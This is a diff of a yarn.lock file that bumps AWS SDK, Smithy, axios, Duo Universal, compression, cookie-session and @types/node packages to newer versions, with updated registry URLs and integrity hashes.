+  resolved "https://registry.yarnpkg.com/@aws-sdk/client-sso/-/client-sso-3.848.0.tgz#84178a83af2a1ce5d0ddfcfc980f4fe71987c01a"
+  integrity sha512-mD+gOwoeZQvbecVLGoCmY6pS7kg02BHesbtIxUj+PeBqYoZV5uLvjUOmuGfw1SfoSobKvS11urxC9S7zxU/Maw==
   dependencies:
     "@aws-crypto/sha256-browser" "5.2.0"
     "@aws-crypto/sha256-js" "5.2.0"
@@ -104,12 +104,12 @@
     "@aws-sdk/middleware-host-header" "3.840.0"
     "@aws-sdk/middleware-logger" "3.840.0"
     "@aws-sdk/middleware-recursion-detection" "3.840.0"
-    "@aws-sdk/middleware-user-agent" "3.846.0"
+    "@aws-sdk/middleware-user-agent" "3.848.0"
     "@aws-sdk/region-config-resolver" "3.840.0"
     "@aws-sdk/types" "3.840.0"
-    "@aws-sdk/util-endpoints" "3.845.0"
+    "@aws-sdk/util-endpoints" "3.848.0"
     "@aws-sdk/util-user-agent-browser" "3.840.0"
-    "@aws-sdk/util-user-agent-node" "3.846.0"
+    "@aws-sdk/util-user-agent-node" "3.848.0"
     "@smithy/config-resolver" "^4.1.4"
     "@smithy/core" "^3.7.0"
     "@smithy/fetch-http-handler" "^5.1.0"
@@ -158,12 +158,12 @@
     fast-xml-parser "5.2.5"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-cognito-identity@3.846.0":
-  version "3.846.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-cognito-identity/-/credential-provider-cognito-identity-3.846.0.tgz#61c09e6a3ccf325991f2e335378fd40d6018f44b"
-  integrity sha512-zfcNFUK0QC7czR/n3ATMp3ZWkMrGZzJ1mS/sTezjFg1IupFnogyF+8xKmnmqXiABJd1yE8FduYgw8yx0ZSWiCw==
+"@aws-sdk/credential-provider-cognito-identity@3.848.0":
+  version "3.848.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-cognito-identity/-/credential-provider-cognito-identity-3.848.0.tgz#c3d54f75a176aadddd3a6a7f6092987744ca32d1"
+  integrity sha512-2cm/Ye6ktagW1h7FmF4sgo8STZyBr2+0+L9lr/veuPKZVWoi/FyhJR3l0TtKrd8z78no9P5xbsGUmxoDLtsxiw==
   dependencies:
-    "@aws-sdk/client-cognito-identity" "3.846.0"
+    "@aws-sdk/client-cognito-identity" "3.848.0"
     "@aws-sdk/types" "3.840.0"
     "@smithy/property-provider" "^4.0.4"
     "@smithy/types" "^4.3.1"
@@ -196,18 +196,18 @@
     "@smithy/util-stream" "^4.2.3"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-ini@3.846.0":
-  version "3.846.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.846.0.tgz#3d4df54131048d745a04ab3b4af95407f49f7514"
-  integrity sha512-GUxaBBKsYx1kOlRbcs77l6BVyG9K70zekJX+5hdwTEgJq7AoHl/XYoWiDxPf6zQ7J4euixPJoyRhpNbJjAXdFw==
+"@aws-sdk/credential-provider-ini@3.848.0":
+  version "3.848.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.848.0.tgz#aec6f9158b08b9842d4e9ee7671296a2a237b026"
+  integrity sha512-r6KWOG+En2xujuMhgZu7dzOZV3/M5U/5+PXrG8dLQ3rdPRB3vgp5tc56KMqLwm/EXKRzAOSuw/UE4HfNOAB8Hw==
   dependencies:
     "@aws-sdk/core" "3.846.0"
     "@aws-sdk/credential-provider-env" "3.846.0"
     "@aws-sdk/credential-provider-http" "3.846.0"
     "@aws-sdk/credential-provider-process" "3.846.0"
-    "@aws-sdk/credential-provider-sso" "3.846.0"
-    "@aws-sdk/credential-provider-web-identity" "3.846.0"
-    "@aws-sdk/nested-clients" "3.846.0"
+    "@aws-sdk/credential-provider-sso" "3.848.0"
+    "@aws-sdk/credential-provider-web-identity" "3.848.0"
+    "@aws-sdk/nested-clients" "3.848.0"
     "@aws-sdk/types" "3.840.0"
     "@smithy/credential-provider-imds" "^4.0.6"
     "@smithy/property-provider" "^4.0.4"
@@ -215,17 +215,17 @@
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-node@3.846.0":
-  version "3.846.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-node/-/credential-provider-node-3.846.0.tgz#576d302e7d5af1abc7e5b95695dd97afa03ad2f8"
-  integrity sha512-du2DsXYRfQ8VIt/gXGThhT8KdUEt2j9W91W87Bl9IA5DINt4nSZv+gzh8LqHBYsTSqoUpKb+qIfP1RjZM/8r0A==
+"@aws-sdk/credential-provider-node@3.848.0":
+  version "3.848.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-node/-/credential-provider-node-3.848.0.tgz#aeeccc9cadaae57fd2664298ecacea18648d6b9c"
+  integrity sha512-AblNesOqdzrfyASBCo1xW3uweiSro4Kft9/htdxLeCVU1KVOnFWA5P937MNahViRmIQm2sPBCqL8ZG0u9lnh5g==
   dependencies:
     "@aws-sdk/credential-provider-env" "3.846.0"
     "@aws-sdk/credential-provider-http" "3.846.0"
-    "@aws-sdk/credential-provider-ini" "3.846.0"
+    "@aws-sdk/credential-provider-ini" "3.848.0"
     "@aws-sdk/credential-provider-process" "3.846.0"
-    "@aws-sdk/credential-provider-sso" "3.846.0"
-    "@aws-sdk/credential-provider-web-identity" "3.846.0"
+    "@aws-sdk/credential-provider-sso" "3.848.0"
+    "@aws-sdk/credential-provider-web-identity" "3.848.0"
     "@aws-sdk/types" "3.840.0"
     "@smithy/credential-provider-imds" "^4.0.6"
     "@smithy/property-provider" "^4.0.4"
@@ -245,48 +245,48 @@
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-sso@3.846.0":
-  version "3.846.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.846.0.tgz#6c1040a3476e877a769075682c3f7c105f16460b"
-  integrity sha512-Dxz9dpdjfxUsSfW92SAldu9wy8wgEbskn4BNWBFHslQHTmqurmR0ci4P1SMxJJKd498AUEoIAzZOtjGOC38irQ==
+"@aws-sdk/credential-provider-sso@3.848.0":
+  version "3.848.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.848.0.tgz#5921e154cde77f261e00da63431294ddde91d6f9"
+  integrity sha512-pozlDXOwJZL0e7w+dqXLgzVDB7oCx4WvtY0sk6l4i07uFliWF/exupb6pIehFWvTUcOvn5aFTTqcQaEzAD5Wsg==
   dependencies:
-    "@aws-sdk/client-sso" "3.846.0"
+    "@aws-sdk/client-sso" "3.848.0"
     "@aws-sdk/core" "3.846.0"
-    "@aws-sdk/token-providers" "3.846.0"
+    "@aws-sdk/token-providers" "3.848.0"
     "@aws-sdk/types" "3.840.0"
     "@smithy/property-provider" "^4.0.4"
     "@smithy/shared-ini-file-loader" "^4.0.4"
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-web-identity@3.846.0":
-  version "3.846.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.846.0.tgz#939629e1cf2b778168f350ea79aaf278b357317e"
-  integrity sha512-j6zOd+kynPQJzmVwSKSUTpsLXAf7vKkr7hCPbQyqC8ZqkIuExsRqu2vRQjX2iH/MKhwZ+qEWMxPMhfDoyv7Gag==
+"@aws-sdk/credential-provider-web-identity@3.848.0":
+  version "3.848.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.848.0.tgz#86eaa04daf17ce41b9aab06a3c19a326fcbfaddf"
+  integrity sha512-D1fRpwPxtVDhcSc/D71exa2gYweV+ocp4D3brF0PgFd//JR3XahZ9W24rVnTQwYEcK9auiBZB89Ltv+WbWN8qw==
   dependencies:
     "@aws-sdk/core" "3.846.0"
-    "@aws-sdk/nested-clients" "3.846.0"
+    "@aws-sdk/nested-clients" "3.848.0"
     "@aws-sdk/types" "3.840.0"
     "@smithy/property-provider" "^4.0.4"
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
 "@aws-sdk/credential-providers@^3.186.0":
-  version "3.846.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-providers/-/credential-providers-3.846.0.tgz#98c348ec6551f7dc832bfc369fe221b2b71e4846"
-  integrity sha512-YpTJcV5PO0V+I1nRGAyNF/kCcOIgPgzihlAyOqicmq3vZ8UHZqUCOfzcS6qbEpPFeAB3domzBgsAJNsQXht4SA==
+  version "3.848.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-providers/-/credential-providers-3.848.0.tgz#78ab8cb8114136130f2ccb357761c4936117a38a"
+  integrity sha512-lRDuU05YC+r/1JmRULngJQli7scP5hmq0/7D+xw1s8eRM0H2auaH7LQFlq/SLxQZLMkVNPCrmsug3b3KcLj1NA==
   dependencies:
-    "@aws-sdk/client-cognito-identity" "3.846.0"
+    "@aws-sdk/client-cognito-identity" "3.848.0"
     "@aws-sdk/core" "3.846.0"
-    "@aws-sdk/credential-provider-cognito-identity" "3.846.0"
+    "@aws-sdk/credential-provider-cognito-identity" "3.848.0"
     "@aws-sdk/credential-provider-env" "3.846.0"
     "@aws-sdk/credential-provider-http" "3.846.0"
-    "@aws-sdk/credential-provider-ini" "3.846.0"
-    "@aws-sdk/credential-provider-node" "3.846.0"
+    "@aws-sdk/credential-provider-ini" "3.848.0"
+    "@aws-sdk/credential-provider-node" "3.848.0"
     "@aws-sdk/credential-provider-process" "3.846.0"
-    "@aws-sdk/credential-provider-sso" "3.846.0"
-    "@aws-sdk/credential-provider-web-identity" "3.846.0"
-    "@aws-sdk/nested-clients" "3.846.0"
+    "@aws-sdk/credential-provider-sso" "3.848.0"
+    "@aws-sdk/credential-provider-web-identity" "3.848.0"
+    "@aws-sdk/nested-clients" "3.848.0"
     "@aws-sdk/types" "3.840.0"
     "@smithy/config-resolver" "^4.1.4"
     "@smithy/core" "^3.7.0"
@@ -325,23 +325,23 @@
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/middleware-user-agent@3.846.0":
-  version "3.846.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.846.0.tgz#e038f60b1b12b2c44a41c831925f52347ca27540"
-  integrity sha512-85/oUc2jMXqQWo+HHH7WwrdqqArzhMmTmBCpXZwklBHG+ZMzTS5Wug2B0HhGDVWo9aYRMeikSq4lsrpHFVd2MQ==
+"@aws-sdk/middleware-user-agent@3.848.0":
+  version "3.848.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.848.0.tgz#d1bba79ba7f026ad7a6df55e47ccd0513f8fdada"
+  integrity sha512-rjMuqSWJEf169/ByxvBqfdei1iaduAnfolTshsZxwcmLIUtbYrFUmts0HrLQqsAG8feGPpDLHA272oPl+NTCCA==
   dependencies:
     "@aws-sdk/core" "3.846.0"
     "@aws-sdk/types" "3.840.0"
-    "@aws-sdk/util-endpoints" "3.845.0"
+    "@aws-sdk/util-endpoints" "3.848.0"
     "@smithy/core" "^3.7.0"
     "@smithy/protocol-http" "^5.1.2"
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/nested-clients@3.846.0":
-  version "3.846.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/nested-clients/-/nested-clients-3.846.0.tgz#c0389df04f04e6f4d124a605cc17b2b3f9a82faa"
-  integrity sha512-LCXPVtNQnkTuE8inPCtpfWN2raE/ndFBKf5OIbuHnC/0XYGOUl5q7VsJz471zJuN9FX3WMfopaFwmNc7cQNMpQ==
+"@aws-sdk/nested-clients@3.848.0":
+  version "3.848.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/nested-clients/-/nested-clients-3.848.0.tgz#69f8f57fb5df25262b8e60a3334e13dcded0309d"
+  integrity sha512-joLsyyo9u61jnZuyYzo1z7kmS7VgWRAkzSGESVzQHfOA1H2PYeUFek6vLT4+c9xMGrX/Z6B0tkRdzfdOPiatLg==
   dependencies:
     "@aws-crypto/sha256-browser" "5.2.0"
     "@aws-crypto/sha256-js" "5.2.0"
@@ -349,12 +349,12 @@
     "@aws-sdk/middleware-host-header" "3.840.0"
     "@aws-sdk/middleware-logger" "3.840.0"
     "@aws-sdk/middleware-recursion-detection" "3.840.0"
-    "@aws-sdk/middleware-user-agent" "3.846.0"
+    "@aws-sdk/middleware-user-agent" "3.848.0"
     "@aws-sdk/region-config-resolver" "3.840.0"
     "@aws-sdk/types" "3.840.0"
-    "@aws-sdk/util-endpoints" "3.845.0"
+    "@aws-sdk/util-endpoints" "3.848.0"
     "@aws-sdk/util-user-agent-browser" "3.840.0"
-    "@aws-sdk/util-user-agent-node" "3.846.0"
+    "@aws-sdk/util-user-agent-node" "3.848.0"
     "@smithy/config-resolver" "^4.1.4"
     "@smithy/core" "^3.7.0"
     "@smithy/fetch-http-handler" "^5.1.0"
@@ -394,13 +394,13 @@
     "@smithy/util-middleware" "^4.0.4"
     tslib "^2.6.2"
 
-"@aws-sdk/token-providers@3.846.0":
-  version "3.846.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/token-providers/-/token-providers-3.846.0.tgz#36b499314c2ed754aa9372058a2a8c9e9054ad49"
-  integrity sha512-sGNk3xclK7xx+rIJZDJC4FNFqaSSqN0nSr+AdVdQ+/iKQKaUA6hixRbXaQ7I7M5mhqS6fMW1AsqVRywQq2BSMw==
+"@aws-sdk/token-providers@3.848.0":
+  version "3.848.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/token-providers/-/token-providers-3.848.0.tgz#a30431066b2fc2927169e3a958bb610cfb936406"
+  integrity sha512-oNPyM4+Di2Umu0JJRFSxDcKQ35+Chl/rAwD47/bS0cDPI8yrao83mLXLeDqpRPHyQW4sXlP763FZcuAibC0+mg==
   dependencies:
     "@aws-sdk/core" "3.846.0"
-    "@aws-sdk/nested-clients" "3.846.0"
+    "@aws-sdk/nested-clients" "3.848.0"
     "@aws-sdk/types" "3.840.0"
     "@smithy/property-provider" "^4.0.4"
     "@smithy/shared-ini-file-loader" "^4.0.4"
@@ -415,10 +415,10 @@
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/util-endpoints@3.845.0":
-  version "3.845.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/util-endpoints/-/util-endpoints-3.845.0.tgz#a4a303502b79a9868da2f6a17f81d24a34f10974"
-  integrity sha512-MBmOf0Pb4q6xs9V7jXT1+qciW2965yvaoZUlUUnxUEoX6zxWROeIu/gttASc4vSjOHr/+64hmFkxjeBUF37FJA==
+"@aws-sdk/util-endpoints@3.848.0":
+  version "3.848.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/util-endpoints/-/util-endpoints-3.848.0.tgz#dea15ac0949fcbc518426fb4a86d1e9bd53433db"
+  integrity sha512-fY/NuFFCq/78liHvRyFKr+aqq1aA/uuVSANjzr5Ym8c+9Z3HRPE9OrExAHoMrZ6zC8tHerQwlsXYYH5XZ7H+ww==
   dependencies:
     "@aws-sdk/types" "3.840.0"
     "@smithy/types" "^4.3.1"
@@ -443,12 +443,12 @@
     bowser "^2.11.0"
     tslib "^2.6.2"
 
-"@aws-sdk/util-user-agent-node@3.846.0":
-  version "3.846.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.846.0.tgz#05ab54d561bcbe3888d88b500ef62a7f41acac8c"
-  integrity sha512-MXYXCplw76xe8A9ejVaIru6Carum/2LQbVtNHsIa4h0TlafLdfulywsoMWL1F53Y9XxQSeOKyyqDKLNOgRVimw==
+"@aws-sdk/util-user-agent-node@3.848.0":
+  version "3.848.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.848.0.tgz#992acf856aa8edd9d26b906c7c92fbdcd72f8bb1"
+  integrity sha512-Zz1ft9NiLqbzNj/M0jVNxaoxI2F4tGXN0ZbZIj+KJ+PbJo+w5+Jo6d0UDAtbj3AEd79pjcCaP4OA9NTVzItUdw==
   dependencies:
-    "@aws-sdk/middleware-user-agent" "3.846.0"
+    "@aws-sdk/middleware-user-agent" "3.848.0"
     "@aws-sdk/types" "3.840.0"
     "@smithy/node-config-provider" "^4.1.3"
     "@smithy/types" "^4.3.1"
@@ -762,12 +762,12 @@
   integrity sha512-eddz6UnOBEB1oITPinyrB2Pttej49M9FZQY8NxgEvc3tq6ZICZ19m70RsmzRdDHk80O9NoYN/25AqJl8vPVf/g==
 
 "@duosecurity/duo_universal@*":
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/@duosecurity/duo_universal/-/duo_universal-2.1.0.tgz#05312e7bf7557625145e7e243a7ece2385853dcf"
-  integrity sha512-6i+oSezndETL5nwaZbe8OVXA8GTalI0KmY4hc060iTaGpkj5/WY1OWC1W9lWDg0dWpYohsTwZy1dBQOs+vUc7g==
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/@duosecurity/duo_universal/-/duo_universal-3.0.0.tgz#c2dae2976dc00dc734bc74d995dc23219dfafe7a"
+  integrity sha512-4amiQl9b/03kkDRZAWcvrow5PQfSO4zFpU4VjU+RLXNih5B/Frvrt4q+q2gE+QpSxNPCGE3wt8/tuuv0IGnMKw==
   dependencies:
-    axios "^1.2.2"
-    jsonwebtoken "^9.0.0"
+    axios "^1.10.0"
+    jose "^6.0.11"
 
 "@fastify/busboy@^2.0.0":
   version "2.1.1"
@@ -1240,10 +1240,10 @@
     "@smithy/util-middleware" "^4.0.4"
     tslib "^2.6.2"
 
-"@smithy/core@^3.7.0":
-  version "3.7.0"
-  resolved "https://registry.yarnpkg.com/@smithy/core/-/core-3.7.0.tgz#b3a98ccc48b1c408dfdb986aaa22d6affffd7795"
-  integrity sha512-7ov8hu/4j0uPZv8b27oeOFtIBtlFmM3ibrPv/Omx1uUdoXvcpJ00U+H/OWWC/keAguLlcqwtyL2/jTlSnApgNQ==
+"@smithy/core@^3.7.0", "@smithy/core@^3.7.1":
+  version "3.7.1"
+  resolved "https://registry.yarnpkg.com/@smithy/core/-/core-3.7.1.tgz#7f47fc1ec93f20b686d007a7d667a02de8b86219"
+  integrity sha512-ExRCsHnXFtBPnM7MkfKBPcBBdHw1h/QS/cbNw4ho95qnyNHvnpmGbR39MIAv9KggTr5qSPxRSEL+hRXlyGyGQw==
   dependencies:
     "@smithy/middleware-serde" "^4.0.8"
     "@smithy/protocol-http" "^5.1.2"
@@ -1318,12 +1318,12 @@
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@smithy/middleware-endpoint@^4.1.15":
-  version "4.1.15"
-  resolved "https://registry.yarnpkg.com/@smithy/middleware-endpoint/-/middleware-endpoint-4.1.15.tgz#31d93e6f33bbe2dbd120bda0833bce35cf960c39"
-  integrity sha512-L2M0oz+r6Wv0KZ90MgClXmWkV7G72519Hd5/+K5i3gQMu4WNQykh7ERr58WT3q60dd9NqHSMc3/bAK0FsFg3Fw==
+"@smithy/middleware-endpoint@^4.1.15", "@smithy/middleware-endpoint@^4.1.16":
+  version "4.1.16"
+  resolved "https://registry.yarnpkg.com/@smithy/middleware-endpoint/-/middleware-endpoint-4.1.16.tgz#d0fea3683659289974a87afb089e5f38575f96c0"
+  integrity sha512-plpa50PIGLqzMR2ANKAw2yOW5YKS626KYKqae3atwucbz4Ve4uQ9K9BEZxDLIFmCu7hKLcrq2zmj4a+PfmUV5w==
   dependencies:
-    "@smithy/core" "^3.7.0"
+    "@smithy/core" "^3.7.1"
     "@smithy/middleware-serde" "^4.0.8"
     "@smithy/node-config-provider" "^4.1.3"
     "@smithy/shared-ini-file-loader" "^4.0.4"
@@ -1333,14 +1333,14 @@
     tslib "^2.6.2"
 
 "@smithy/middleware-retry@^4.1.16":
-  version "4.1.16"
-  resolved "https://registry.yarnpkg.com/@smithy/middleware-retry/-/middleware-retry-4.1.16.tgz#0e044d0da18e7019052ac61ec02a2956437376fd"
-  integrity sha512-PpPhMpC6U1fLW0evKnC8gJtmobBYn0oi4RrIKGhN1a86t6XgVEK+Vb9C8dh5PPXb3YDr8lE6aYKh1hd3OikmWw==
+  version "4.1.17"
+  resolved "https://registry.yarnpkg.com/@smithy/middleware-retry/-/middleware-retry-4.1.17.tgz#5a7aa2547918422e3a8747520900c2fd26a43328"
+  integrity sha512-gsCimeG6BApj0SBecwa1Be+Z+JOJe46iy3B3m3A8jKJHf7eIihP76Is4LwLrbJ1ygoS7Vg73lfqzejmLOrazUA==
   dependencies:
     "@smithy/node-config-provider" "^4.1.3"
     "@smithy/protocol-http" "^5.1.2"
     "@smithy/service-error-classification" "^4.0.6"
-    "@smithy/smithy-client" "^4.4.7"
+    "@smithy/smithy-client" "^4.4.8"
     "@smithy/types" "^4.3.1"
     "@smithy/util-middleware" "^4.0.4"
     "@smithy/util-retry" "^4.0.6"
@@ -1447,13 +1447,13 @@
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
-"@smithy/smithy-client@^4.4.7":
-  version "4.4.7"
-  resolved "https://registry.yarnpkg.com/@smithy/smithy-client/-/smithy-client-4.4.7.tgz#68e9f7785179060896ed51d52cd4f4cfc1cbffb5"
-  integrity sha512-x+MxBNOcG7rY9i5QsbdgvvRJngKKvUJrbU5R5bT66PTH3e6htSupJ4Q+kJ3E7t6q854jyl57acjpPi6qG1OY5g==
+"@smithy/smithy-client@^4.4.7", "@smithy/smithy-client@^4.4.8":
+  version "4.4.8"
+  resolved "https://registry.yarnpkg.com/@smithy/smithy-client/-/smithy-client-4.4.8.tgz#91b562a4f60db92c2533a720a091e98557117ab6"
+  integrity sha512-pcW691/lx7V54gE+dDGC26nxz8nrvnvRSCJaIYD6XLPpOInEZeKdV/SpSux+wqeQ4Ine7LJQu8uxMvobTIBK0w==
   dependencies:
-    "@smithy/core" "^3.7.0"
-    "@smithy/middleware-endpoint" "^4.1.15"
+    "@smithy/core" "^3.7.1"
+    "@smithy/middleware-endpoint" "^4.1.16"
     "@smithy/middleware-stack" "^4.0.4"
     "@smithy/protocol-http" "^5.1.2"
     "@smithy/types" "^4.3.1"
@@ -1523,26 +1523,26 @@
     tslib "^2.6.2"
 
 "@smithy/util-defaults-mode-browser@^4.0.23":
-  version "4.0.23"
-  resolved "https://registry.yarnpkg.com/@smithy/util-defaults-mode-browser/-/util-defaults-mode-browser-4.0.23.tgz#74887922f87da4f4acbf523b5c0271f11af5997d"
-  integrity sha512-NqRi6VvEIwpJ+KSdqI85+HH46H7uVoNqVTs2QO7p1YKnS7k8VZnunJj8R5KdmmVnTojkaL1OMPyZC8uR5F7fSg==
+  version "4.0.24"
+  resolved "https://registry.yarnpkg.com/@smithy/util-defaults-mode-browser/-/util-defaults-mode-browser-4.0.24.tgz#36e2ebd191cffa4799c2474d1d4e793264067fa9"
+  integrity sha512-UkQNgaQ+bidw1MgdgPO1z1k95W/v8Ej/5o/T/Is8PiVUYPspl/ZxV6WO/8DrzZQu5ULnmpB9CDdMSRwgRc21AA==
   dependencies:
     "@smithy/property-provider" "^4.0.4"
-    "@smithy/smithy-client" "^4.4.7"
+    "@smithy/smithy-client" "^4.4.8"
     "@smithy/types" "^4.3.1"
     bowser "^2.11.0"
     tslib "^2.6.2"
 
 "@smithy/util-defaults-mode-node@^4.0.23":
-  version "4.0.23"
-  resolved "https://registry.yarnpkg.com/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-4.0.23.tgz#dd22609289183fe3d722f9a1601b6cc618f9efa7"
-  integrity sha512-NE9NtEVigFa+HHJ5bBeQT7KF3KiltW880CLN9TnWWL55akeou3ziRAHO22QSUPgPZ/nqMfPXi/LGMQ6xQvXPNQ==
+  version "4.0.24"
+  resolved "https://registry.yarnpkg.com/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-4.0.24.tgz#3b9382bbffcc5c211e582ea6164c630ad994816f"
+  integrity sha512-phvGi/15Z4MpuQibTLOYIumvLdXb+XIJu8TA55voGgboln85jytA3wiD7CkUE8SNcWqkkb+uptZKPiuFouX/7g==
   dependencies:
     "@smithy/config-resolver" "^4.1.4"
     "@smithy/credential-provider-imds" "^4.0.6"
     "@smithy/node-config-provider" "^4.1.3"
     "@smithy/property-provider" "^4.0.4"
-    "@smithy/smithy-client" "^4.4.7"
+    "@smithy/smithy-client" "^4.4.8"
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
@@ -1712,9 +1712,9 @@
   integrity sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==
 
 "@types/node@*", "@types/node@>=13.7.0":
-  version "24.0.14"
-  resolved "https://registry.yarnpkg.com/@types/node/-/node-24.0.14.tgz#6e3d4fb6d858c48c69707394e1a0e08ce1ecc1bc"
-  integrity sha512-4zXMWD91vBLGRtHK3YbIoFMia+1nqEz72coM42C5ETjnNCa/heoj7NT1G67iAfOqMmcfhuCZ4uNpyz8EjlAejw==
+  version "24.1.0"
+  resolved "https://registry.yarnpkg.com/@types/node/-/node-24.1.0.tgz#0993f7dc31ab5cc402d112315b463e383d68a49c"
+  integrity sha512-ut5FthK5moxFKH2T1CUOC6ctR67rQRvvHdFLCD2Ql6KXmMuCrjsSsRI9UsLCm9M18BMwClv4pn327UvB7eeO1w==
   dependencies:
     undici-types "~7.8.0"
 
@@ -1724,9 +1724,9 @@
   integrity sha512-fAtCfv4jJg+ExtXhvCkCqUKZ+4ok/JQk01qDKhL5BDDoS3AxKXhV5/MAVUZyQnSEd2GT92fkgZl0pz0Q0AzcIQ==
 
 "@types/node@^22.0.1", "@types/node@^22.5.4":
-  version "22.16.4"
-  resolved "https://registry.yarnpkg.com/@types/node/-/node-22.16.4.tgz#00c763ad4d4e45f62d5a270c040ae1a799c7e38a"
-  integrity sha512-PYRhNtZdm2wH/NT2k/oAJ6/f2VD2N2Dag0lGlx2vWgMSJXGNmlce5MiTQzoWAiIJtso30mjnfQCOKVH+kAQC/g==
+  version "22.16.5"
+  resolved "https://registry.yarnpkg.com/@types/node/-/node-22.16.5.tgz#cc46ac3994cd957000d0c11095a0b1dae2ea2368"
+  integrity sha512-bJFoMATwIGaxxx8VJPeM8TonI8t579oRvgAuT8zFugJsJZgzqv0Fu8Mhp68iecjzG7cnN3mO2dJQ5uUM2EFrgQ==
   dependencies:
     undici-types "~6.21.0"
 
@@ -2443,13 +2443,13 @@ axios@^0.21.1:
   dependencies:
     follow-redirects "^1.14.0"
 
-axios@^1.2.2, axios@^1.8.2:
-  version "1.10.0"
-  resolved "https://registry.yarnpkg.com/axios/-/axios-1.10.0.tgz#af320aee8632eaf2a400b6a1979fa75856f38d54"
-  integrity sha512-/1xYAC4MP/HEG+3duIhFr4ZQXR4sQXOIe+o6sdqzeykGLx6Upp/1p8MHqhINOvGeP7xyNHe7tsiJByc4SSVUxw==
+axios@^1.10.0, axios@^1.8.2:
+  version "1.11.0"
+  resolved "https://registry.yarnpkg.com/axios/-/axios-1.11.0.tgz#c2ec219e35e414c025b2095e8b8280278478fdb6"
+  integrity sha512-1Lx3WLFQWm3ooKDYZD1eXmoGO9fxYQjrycfHFC8P0sCfQVXyROp0p9PFWBehewBOdCwHc+f/b8I0fMto5eSfwA==
   dependencies:
     follow-redirects "^1.15.6"
-    form-data "^4.0.0"
+    form-data "^4.0.4"
     proxy-from-env "^1.1.0"
 
 b4a@^1.6.4:
@@ -3053,16 +3053,16 @@ compressible@~2.0.18:
   dependencies:
     mime-db ">= 1.43.0 < 2"
 
-compression@1.7.5:
-  version "1.7.5"
-  resolved "https://registry.yarnpkg.com/compression/-/compression-1.7.5.tgz#fdd256c0a642e39e314c478f6c2cd654edd74c93"
-  integrity sha512-bQJ0YRck5ak3LgtnpKkiabX5pNF7tMUh1BSy2ZBOTh0Dim0BUu6aPPwByIns6/A5Prh8PufSPerMDUklpzes2Q==
+compression@1.8.1:
+  version "1.8.1"
+  resolved "https://registry.yarnpkg.com/compression/-/compression-1.8.1.tgz#4a45d909ac16509195a9a28bd91094889c180d79"
+  integrity sha512-9mAqGPHLakhCLeNyxPkK4xVo746zQ/czLH1Ky+vkitMnWfWZps8r0qXuwhwizagCRttsL4lfG4pIOvaWLpAP0w==
   dependencies:
     bytes "3.1.2"
     compressible "~2.0.18"
     debug "2.6.9"
     negotiator "~0.6.4"
-    on-headers "~1.0.2"
+    on-headers "~1.1.0"
     safe-buffer "5.2.1"
     vary "~1.1.2"
 
@@ -3108,14 +3108,14 @@ cookie-jar@~0.3.0:
   resolved "https://registry.yarnpkg.com/cookie-jar/-/cookie-jar-0.3.0.tgz#bc9a27d4e2b97e186cd57c9e2063cb99fa68cccc"
   integrity sha512-dX1400pzPULr+ZovkIsDEqe7XH8xCAYGT5Dege4Eot44Qs2mS2iJmnh45TxTO5MIsCfrV/JGZVloLhm46AHxNw==
 
-cookie-session@2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/cookie-session/-/cookie-session-2.1.0.tgz#ae30b566b2f9f2d8ca2c4936513e6bf181830558"
-  integrity sha512-u73BDmR8QLGcs+Lprs0cfbcAPKl2HnPcjpwRXT41sEV4DRJ2+W0vJEEZkG31ofkx+HZflA70siRIjiTdIodmOQ==
+cookie-session@2.1.1:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/cookie-session/-/cookie-session-2.1.1.tgz#3e0bdd4a8386467a1d7cca5249690a0ebfb27842"
